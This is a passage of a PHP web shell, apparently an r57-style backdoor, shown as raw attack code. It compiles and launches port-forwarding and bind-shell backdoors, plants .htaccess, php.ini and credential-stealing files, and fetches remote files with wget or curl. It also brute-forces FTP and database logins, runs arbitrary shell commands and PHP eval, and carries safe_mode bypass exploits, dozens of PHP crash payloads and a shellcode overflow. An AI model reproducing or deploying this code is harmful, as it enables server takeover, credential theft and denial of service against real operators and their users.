@unlink($tempdir.'dp'); $_POST['cmd']="ps -aux | grep dp"; } if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) { cf($tempdir.'dpc.c',$datapipe_c); $blah = ex('gcc -o '.$tempdir.'dpc '.$tempdir.'dpc.c'); @unlink($tempdir.'dpc.c'); $blah = ex($tempdir.'dpc '.$_POST['local_port'].' '.$_POST['remote_port'].' '.$_POST['remote_host'].' &'); @unlink($tempdir.'dpc'); $_POST['cmd']="ps -aux | grep dpc"; } if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } for($upl=0;$upl<=16;$upl++) { if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){ if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; } else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; } @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn) or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>"); } } if (!empty($_POST['port1'])) { cf("bds",$port_bind_bd_cs); $blah = ex("chmod 777 bds"); $blah = ex("./bds ".$_POST['port1']." &"); $_POST['cmd']="echo \"Now script install backdoor connect to port "; }else{ cf("/tmp/bds",$port_bind_bd_cs); $blah = ex("chmod 777 bds"); } if (!empty($_POST['php_ini1'])) { cf("php.ini",$egy_ini); $_POST['cmd']=" now  make incloude for file ini.php and add ss and your shell"; } if (!empty($_POST['htacces'])) { cf(".htaccess",$htacces); $_POST['cmd']="now .htaccess has been add"; } if (!empty($_POST['egy_res'])) { cf(".ini.php",$egy_res); $_POST['cmd']="now .htaccess has been add"; } if (!empty($_POST['egy_ini'])) { cf("ini.php",$egy_ini); $_POST['cmd']=" http://target.com/ini.php?egy=http://shell.txt? add ss ini.php now  make incloude for file ini.php and add egy and your shell"; } if (!empty($_POST['egy_cp'])) { cf("pass_cpanel.php",$egy_cp); $_POST['cmd']="cpanel add"; } if (!empty($_POST['egy_vb'])) { cf("vb_hacker.php",$egy_vb); $_POST['cmd']="Added Following Files .htaccess & ini.php & vb_hacker.php & pass_cpanel.php "; } if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } for($upl=0;$upl<=16;$upl++) { } if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) { switch($_POST['with']) { case 'fopen': $datafile = @implode("", @file($_POST['rem_file'])); if($datafile) { if(!morewrite($_POST['loc_file'],$datafile)){ err(0);}; } $_POST['cmd'] = ''; break; case 'wget': $_POST['cmd'] = which('wget')." \"".$_POST['rem_file']."\" -O \"".$_POST['loc_file']."\""; break; case 'fetch': $_POST['cmd'] = which('fetch')." -p \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\""; break; case 'lynx': $_POST['cmd'] = which('lynx')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\""; break; case 'links': $_POST['cmd'] = which('links')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\""; break; case 'GET': $_POST['cmd'] = which('GET')." \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\""; break; case 'curl': $_POST['cmd'] = which('curl')." \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\""; break; } } if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down"))) { list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); if(empty($ftp_port)) { $ftp_port = 21; } $connection = @ftp_connect ($ftp_server,$ftp_port,10); if(!$connection) { err(3); } else { if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); } else { if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);} if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);} } } @ftp_close($connection); $_POST['cmd'] = ""; } if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute"))) { if($_POST['cmd']=="ftp_brute"){ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); if(empty($ftp_port)) { $ftp_port = 21; } $connection = @ftp_connect ($ftp_server,$ftp_port,10); }else if($_POST['cmd']=="db_brute"){ $connection = 1; } if(!$connection) { err(3); $_POST['cmd'] = ""; } else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);} } echo $table_up3; if (empty($_POST['cmd']) && !$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); } else if(empty($_POST['cmd']) && $safe_mode){ $_POST['cmd']="safe_dir"; } echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; { switch($_POST['cmd']) { case 'safe_dir': if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath'])) { foreach ($d as $file) { if ($file=="." || $file=="..") continue; @clearstatcache(); @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); if(!$unix){ echo date("d.m.Y H:i",$mtime); if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size); } else{ if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){ $owner = @posix_getpwuid($uid); $grgid = @posix_getgrgid($gid); }else{$owner['name']=$grgid['name']='';} echo $inode." "; echo perms(@fileperms($file)); @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); echo @date("d.m.Y H:i ",$mtime); } echo "$file\n"; } } elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath'])) { while (false!==($file=$d->read())) { if ($file=="." || $file=="..") continue; @clearstatcache(); @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); if(!$unix){ echo date("d.m.Y H:i",$mtime); if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size); } else{ if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){ $owner = @posix_getpwuid($uid); $grgid = @posix_getgrgid($gid); }else{$owner['name']=$grgid['name']='';} echo $inode." "; echo perms(@fileperms($file)); @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); echo @date("d.m.Y H:i ",$mtime); } echo "$file\n"; } $d->close(); } elseif (@function_exists('opendir') && @function_exists('readdir') && ($d=@opendir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath'])) { while (false!==($file=@readdir($d))) { if ($file=="." || $file=="..") continue; @clearstatcache(); @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); if(!$unix){ echo date("d.m.Y H:i",$mtime); if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size); } else{ if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){ $owner = @posix_getpwuid($uid); $grgid = @posix_getgrgid($gid); }else{$owner['name']=$grgid['name']='';} echo $inode." "; echo perms(@fileperms($file)); @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); echo @date("d.m.Y H:i ",$mtime); } echo "$file\n"; } @closedir($d); } elseif(@function_exists('glob') && (isset($_POST['glob']) || !isset($_POST['realpath']))) { echo "PHP glob() listing directory Safe_mode bypass Exploit\r\n\r\n"; function eh($errno, $errstr, $errfile, $errline) { global $D, $c, $i; preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o); if($o){ $D[$c] = $o[2]; $c++;} } $error_reporting = @ini_get('error_reporting'); error_reporting(E_WARNING); @ini_set("display_errors", 1); @ini_alter("display_errors", 1); $root = "/"; if($dir) $root = $dir; $c = 0; $D = array(); @set_error_handler("eh"); $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; for($i=0; $i < strlen($chars); $i++) { $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}"; $prevD = $D[count($D)-1]; @glob($path."*"); if($D[count($D)-1] != $prevD) { for($j=0; $j < strlen($chars); $j++) { $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}"; $prevD2 = $D[count($D)-1]; @glob($path."*"); if($D[count($D)-1] != $prevD2) { for($p=0; $p < strlen($chars); $p++) { $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; $prevD3 = $D[count($D)-1]; @glob($path."*"); if($D[count($D)-1] != $prevD3) { for($r=0; $r < strlen($chars); $r++) { $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; @glob($path."*"); } } } } } } } $D = array_unique($D); foreach($D as $item) echo "{$item}\r\n"; echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n"; error_reporting($error_reporting); } elseif(@function_exists('realpath') && (!isset($_POST['glob']) || isset($_POST['realpath']))) { echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n"; if(!$dir){$dir='/etc/';}; if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';} if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';} if($realpath=realpath($dir.'/')){echo $realpath."\r\n";} if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."\r\n";} foreach($presets_rlph as $preset_rlph){ if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."\r\n";} } for($i=0; $i < strlen($chars_rlph); $i++){ if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."\r\n";} if($n_rlph<=1){continue;}; for($j=0; $j < strlen($chars_rlph); $j++){ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."\r\n";} if($n_rlph<=2){continue;}; for($x=0; $x < strlen($chars_rlph); $x++){ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";} if($n_rlph<=3){continue;}; for($y=0; $y < strlen($chars_rlph); $y++){ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."\r\n";} if($n_rlph<=4){continue;}; for($z=0; $z < strlen($chars_rlph); $z++){ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."\r\n";} if($n_rlph<=5){continue;}; for($w=0; $w < strlen($chars_rlph); $w++){ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";} } } } } } } echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n"; } else echo $lang[$language.'_text29']; break; case 'test1': $ci = @curl_init("file://".$_POST['test1_file']); $cf = @curl_exec($ci); echo htmlspecialchars($cf); break; case 'test2': @include($_POST['test2_file']); break; case 'test3': if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); if($db) { if(@mysql_select_db($_POST['test3_md'],$db)) { @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )"); @mysql_query("LOAD DATA LOCAL INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table"); $r = @mysql_query("SELECT * FROM temp_r57_table"); while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; } @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); } else echo "[-] ERROR! Can't select database"; @mysql_close($db); } else echo "[-] ERROR! Can't connect to mysql server"; break; case 'test4': if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); if($db) { if(@mssql_select_db($_POST['test4_md'],$db)) { @mssql_query("drop table r57_temp_table",$db); @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); $res = mssql_query("select * from r57_temp_table",$db); while(($row=@mssql_fetch_row($res))) { echo htmlspecialchars($row[0])."\r\n"; } @mssql_query("drop table r57_temp_table",$db); } else echo "[-] ERROR! Can't select database"; @mssql_close($db); } else echo "[-] ERROR! Can't connect to MSSQL server"; break; case 'test5': $temp=tempnam($dir, "fname"); if (@file_exists($temp)) @unlink($temp); $extra = "-C ".$_POST['test5_file']." -X $temp"; @mb_send_mail(NULL, NULL, NULL, NULL, $extra); $str = moreread($temp); echo htmlspecialchars($str); @unlink($temp); break; case 'test6': $stream = @imap_open('/etc/passwd', "", ""); $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n"; @imap_close($stream); break; case 'test7': $stream = @imap_open($_POST['test7_file'], "", ""); $str = @imap_body($stream, 1); echo htmlspecialchars($str); @imap_close($stream); break; case 'test8': $temp=@tempnam($_POST['test8_file2'], "copytemp"); $str = readzlib($_POST['test8_file1'],$temp); echo htmlspecialchars($str); @unlink($temp); break; case 'test9': @ini_restore("safe_mode"); @ini_restore("open_basedir"); $str = moreread($_POST['test9_file']); echo htmlspecialchars($str); break; case 'test10': @ob_clean(); $error_reporting = @ini_get('error_reporting'); error_reporting(E_ALL ^ E_NOTICE); @ini_set("display_errors", 1); @ini_alter("display_errors", 1); $str=@fopen($_POST['test10_file'],"r"); while(!feof($str)){print htmlspecialchars(fgets($str));} fclose($str); error_reporting($error_reporting); break; case 'test11': @ob_clean(); $temp = 'zip://'.$_POST['test11_file']; $str = moreread($temp); echo htmlspecialchars($str); break; case 'test12': @ob_clean(); $temp = 'compress.bzip2://'.$_POST['test12_file']; $str = moreread($temp); echo htmlspecialchars($str); break; case 'test13': @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']); echo $lang[$language.'_text61']; break; case 'test14': @session_save_path($_POST['test14_file2']."\0;$tempdir"); @session_start(); @$_SESSION[php]=$_POST['test14_file1']; echo $lang[$language.'_text61']; break; case 'test15': @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']); echo $lang[$language.'_text61']; break; case 'test_5_2_6': echo getcwd()."\n"; chdir($_POST['test_5_2_6']); echo getcwd()."\n"; break; case 'test2_5_2_6': var_dump(posix_access($_POST['test15_file1'])); break; case 'test_5_2_4': if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!  You are now can establish any order"); $path = str_repeat("..\\", 20); $MyBoot_readfile = readfile($path."windows\\system.ini"); $MyBoot_ioncube = ioncube_read_file($path."boot.ini"); echo $MyBoot_readfile; echo "<br><br>ionCube output:<br><br>"; echo $MyBoot_ioncube; break; case 'egy_perl': if(!extension_loaded('perl'))die('perl extension is not loaded'); if(!isset($_GET))$_GET=&$HTTP_GET_VARS; if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls'; $perl=new perl(); echo "<textarea rows='25' cols='75'>"; $perl->eval("system('".$_GET['cmd']."')"); echo "</textarea>"; $_GET['cmd']=htmlspecialchars($_GET['cmd']); break; break; case 'egy_4_2_0': for ($i = 0; $i < 60000; $i++) { if (($tab = @posix_getpwuid($i)) != NULL) { echo $tab['name'].":"; echo $tab['passwd'].":"; echo $tab['uid'].":"; echo $tab['gid'].":"; echo $tab['gecos'].":"; echo $tab['dir'].":"; echo $tab['shell']."<br>"; } } break; case 'egy_5_2_3': if (!extension_loaded("win32std")) die("win32std extension required!"); system("cmd.exe"); win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe"); break; break; case 'test16': if (@fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61']; break; case 'test17_1': @unlink('symlinkread'); @symlink('a/a/a/a/a/a/', 'dummy'); @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread'); @unlink('dummy'); while (1) { @symlink('.', 'dummy'); @unlink('dummy'); } break; case 'test17_2': $str=''; while (strlen($str) < 3) { $str = @file_get_contents('symlinkread'); if($str){ @ob_clean(); echo htmlspecialchars($str);} } break; case 'test17_3': $dir = $files = array(); if(@version_compare(@phpversion(),"5.0.0")>=0){ while (@count($dir) < 3) { $dir=@scandir('symlinkread'); if (@count($dir) > 2) {@ob_clean(); @print_r($dir); } } } else { while (@count($files) < 3) { $dh = @opendir('symlinkread'); while (false !== ($filename = @readdir($dh))) { $files[] = $filename; } if(@count($files) > 2){@ob_clean(); @print_r($files); } } } break; case 'test18': @putenv("TMPDIR=".$_POST['test18_file2']); @ini_set("session.save_path", ""); @ini_alter("session.save_path", ""); @session_start(); @$_SESSION[php]=$_POST['test18_file1']; echo $lang[$language.'_text61']; break; case 'test19': if(empty($_POST['test19_port'])) { $_POST['test19_port'] = "3306"; } $m = new mysqli('localhost',$_POST['test19_ml'],$_POST['test19_mp'],$_POST['test19_md'],$_POST['test19_port']); if(@mysqli_connect_errno()){ echo "[-] ERROR! Can't connect to mysqli server: ".mysqli_connect_error() ;}; $m->options(MYSQLI_OPT_LOCAL_INFILE, 1); $m->set_local_infile_handler("r"); $m->query("DROP TABLE IF EXISTS temp_r57_table"); $m->query("CREATE TABLE temp_r57_table ( 'file' LONGBLOB NOT NULL )"); $m->query("LOAD DATA LOCAL INFILE \"".$_POST['test19_file']."\" INTO TABLE temp_r57_table"); $r = $m->query("SELECT * FROM temp_r57_table"); while(($r_sql = @mysqli_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; } $m->query("DROP TABLE IF EXISTS temp_r57_table"); $m->close(); break; } } if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){ $cmd_rep = ex($_POST['cmd']); if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } else { echo @htmlspecialchars($cmd_rep)."\n"; } } switch($_POST['cmd']) { case 'dos1': function a() { a(); } a(); break; case 'dos2': @pack("d4294967297", 2); break; case 'dos3': $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a))); break; case 'dos4': $t = array(1);while (1) {$a[] = &$t;}; break; case 'dos5': @dl("sqlite.so");$db = new SqliteDatabase("foo"); break; case 'dos6': preg_match('/(.(?!b))*/', @str_repeat("a", 10000)); break; case 'dos7': @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538)); break; case 'dos8': @shell_exec("killall -11 httpd"); break; case 'dos9': function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); } cx(); break; case 'dos10': $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0); break; case 'dos11': @array_fill(1,123456789,"Infigo-IS"); break; case 'dos12': @substr_compare("A","A",12345678); break; case 'dos13': @unserialize("a:2147483649:{"); break; case 'dos14': $Data = @str_ireplace("\n", "<br>", $Data); break; case 'dos15': function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);} $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);} @htmlentities($str1, ENT_NOQUOTES, "UTF-8"); break; case 'dos16': $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e); for ($i=0; $i<1000; $i++) $arr[$i]=array(array("")); unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]); break; case 'dos17': $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"; $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"; $x = "AQ                                                                        "; unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x); break; case 'dos18': $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600); if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err)) echo "Msg not sent because $msg_err\n"; if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) { echo "$msg\n"; } else { echo "Received $msg_error fetching message\n"; break; } @msg_remove_queue ($msg_id); break; case 'dos19': $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r"); break; case 'dos20': $hashtable = str_repeat("A", 39); $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08); $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99); $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}'; for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; } $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;'; @unserialize($str); break; case 'dos21': imagecreatetruecolor(1234,1073741824); break; case 'dos22': imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120, 120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120); break; case 'dos23': $a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349); iconv_substr($a,0,1,$b); break; case 'dos24': setlocale(LC_COLLATE, str_repeat("A", 34438013)); break; case 'dos25': glob(str_repeat("A", 9638013)); break; case 'dos26': glob("a",-1); break; case 'dos27': fnmatch("*[1]e", str_repeat("A", 9638013)); break; case 'dos28': if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res = imagepsloadfont($buff); echo "boom!!\n";} break; case 'dos29': if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB'); msql_connect(str_repeat('A',49424).'BBBB');} break; case 'dos30': $a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,$c); break; case 'dos31': if (extension_loaded("win32std") ) { win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );} break; case 'dos32': if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );} break; case 'dos33': $buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP = str_repeat("\x43", 100);$get_EBP = str_repeat("\x44", 100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP); break; case 'dos34': if (extension_loaded("bz2")){ $buff = str_repeat("a",1000); com_print_typeinfo($buff);} break; case 'dos35': $a = str_repeat("/", 4199000); iconv(1, $a, 1); break; case 'dos36': $a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a); break; case 'dos37': $a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a); break; case 'dos39': sprintf("[%'A2147483646s]\n", "A"); break; break; case 'dos40': $____scode= "\xeb\x1b". "\x5b". "\x31\xc0". "\x50". "\x31\xc0". "\x88\x43\x59". "\x53". "\xbb\xca\x73\xe9\x77". "\xff\xd3". "\x31\xc0". "\x50". "\xbb\x5c\xcf\xe9\x77". "\xff\xd3". "\xe8\xe0\xff\xff\xff". "\x63\x6d\x64". "\x2e". "\x65". "\x78\x65". "\x20\x2f". "\x63\x20". "start notepad & "; $eip="\xdc\xf5\x12"; $____suntzu=str_repeat("\x90",100); $____suntzu.=$____scode; $____suntzu.=str_repeat("a",2460 - strlen($____scode)); $____suntzu.=$eip; break; case 'zend': if(empty($_POST['zend'])){ } else { $dezend=$_POST['zend']; include($_POST['zend']); print_r($GLOBALS); require_once("$dezend"); echo "</textarea></p>"; } break; case 'dos38': $a = str_repeat("/", 9791999); iconv_strlen(1, $a); break; } if ($_POST['cmd']=="php_eval"){ $eval = @str_replace("<?","",$_POST['php_eval']); $eval = @str_replace("?>","",$eval); eval($eval);} if ($_POST['cmd']=="ftp_brute") { $suc = 0; if($_POST['brute_method']=='passwd'){ foreach($users as $user) { $connection = @ftp_connect($ftp_server,$ftp_port,10); if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } @ftp_close($connection); } }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){ foreach($users as $user) { $connection = @ftp_connect($ftp_server,$ftp_port,10); if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; } @ftp_close($connection); } } echo "\r\n-------------------------------------\r\n"; $count = count($users); if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; } echo $lang[$language.'_text97'].$count."\r\n"; echo $lang[$language.'_text98'].$suc."\r\n"; } if ($_POST['cmd']=="db_brute") { $suc = 0; if($_POST['brute_method']=='passwd'){ foreach($users as $user) { $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $user; $sql->pass = $user; if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; } } if(isset($_POST['reverse'])) { foreach($users as $user) { $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $user; $sql->pass = strrev($user); if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } } }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){ foreach($users as $user) { $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $user; if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; } } } echo "\r\n-------------------------------------\r\n"; $count = count($users); if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; } echo $lang[$language.'_text97'].$count."\r\n"; echo $lang[$language.'_text98'].$suc."\r\n"; } if ($_POST['cmd']=="mysql_dump") { if(isset($_POST['dif'])) { morewrite($_POST['dif_name'], "mysql_dump\r\n"); } $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } else { if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } else if(@is_writable($_POST['dif_name'])){ foreach($sql->dump as $v){ morewrite($_POST['dif_name'], $v."\r\n");} } else { echo "[-] ERROR! Can't write in dump file"; } } } echo "</textarea></div>"; echo "</b>"; echo "</td></tr></table>"; echo "<table width=100% cellpadding=0 cellspacing=0>"; function div_title($title, $id) { return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>'; } function div($id) { if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">'; $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38','id39'); if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">'; return '<div id="'.$id.'">'; } if(!$safe_mode){ echo 